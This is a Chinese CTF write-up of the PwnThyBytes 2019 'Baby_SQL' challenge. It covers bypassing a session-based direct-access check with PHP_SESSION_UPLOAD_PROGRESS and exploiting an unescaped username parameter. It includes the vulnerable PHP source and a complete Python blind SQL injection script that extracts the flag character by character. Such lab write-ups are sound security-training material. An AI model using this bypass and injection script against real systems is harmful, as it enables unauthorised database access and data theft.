[PwnThyBytes 2019]Baby_SQL

这题单独拿出来,因为有好多知识点

打开靶机,一个登录和一个注册页面。根据题目名称fuzz一波,发现注册页面和登录页面都没有注入点。

源代码中发现源码泄露source.zip。下载

在templates中的login.php发现注入点

<?php
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';
$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';
$result = $con->query($sql);
function auth($user)
{
    $_SESSION['username'] = $user;
    return True;
}
($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));

可以发现username为注入点,password因为有md5加密,所以构不成注入。fuzz时还发现过滤了  ‘  根据语句 使用\逃逸引号并用#闭合构造查询语句。这里我们已经知道数据库名为ptbctf了

在index.php中
1
2
3
4
5
6
7
8
9
10
11
12
<?php 
session_start(); 
foreach($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;
foreach($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;
foreach($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;
foreach($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;
 
function filter($value){
	!is_string($value) AND die("Hacking attempt!");
 
	return addslashes($value);
}

google后发现

There seems to be some addslashes bypasses based on multi-byte encodings like described here, but they usually depend on some kind of weird charset being using with MySQL. We revisted the “direct access protection” of templates/login.php, which depends on session_start() being called before. I remembered from HITCON CTF 2018 that PHP_SESSION_UPLOAD_PROGRESS can be used to force PHP to initialize $_SESSION to bypassing the check.

大概意思是如果我们强制登录的话,系统不会处理我们的请求,需要强制初始化session来绕过验证

’‘The PHP check the value session.auto_start or function session_start() to know whether it need to process session on current request or not. Unfortunately, the default value of session.auto_start is Off. However, it’s interesting that if you provide the PHP_SESSION_UPLOAD_PROGRESS in multipart POST data. The PHP will enable the session for you’‘

这意思大概是PHP检查值session.auto_start或函数session_start()以了解是否需要处理当前请求的会话,但是如果不包含直接传入,则不会请求会话,但是如果以post方式传入PHP_SESSION_UPLOAD_PROGRESS的话,php就会默认打开会话

post 提交之 multipart/form-data; boundary= …这篇文章中还接好了如何模拟multipart/form-data请求以及构建方法,我们可以发现,一般multipart/form-data 请求请求体的格式用在网站登录上,而我们正需要登录某网站

我们设置好boundary的值,并以post方式传入boundary值为名的数据,设置name为PHP_SESSION_UPLOAD_PROGRESS 随便传入些数据并结尾,即可完成强制绕过

有了这些知识,我们大概就有了脚本思路,构建Cooike并强制传入PHPSESSID ,传入PHP_SESSION_UPLOAD_PROGRESS 有关数据,执行盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
 
result =''
url = 'http://c8523a02-f61f-4319-b6eb-85b65874a19e.node3.buuoj.cn/templates/login.php?username='
data = '''------ha1c9on
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
 
ha1c9on
------ha1c9on--'''
headers = {'Cookie' : 'PHPSESSID=ha1c9on;',
   'Content-Type':'multipart/form-data; boundary=----ha1c9on'}
for x in range(1,10000):
    for i in range(32,128):
        payload = "1\"or if(ascii(substr((select group_concat(secret) from flag_tbl),{1},1))={0},1,0)%23".format(i,x);
        r = requests.post(url+payload,headers=headers,data=data)
        if "Try again!" not in r.text:
            result += chr(i)
            print(result)         
            break;
        else:
            continue;
    if result[-1]=="}":
        break;

跑一会儿就会获得flag

发表评论

邮箱地址不会被公开。 必填项已用*标注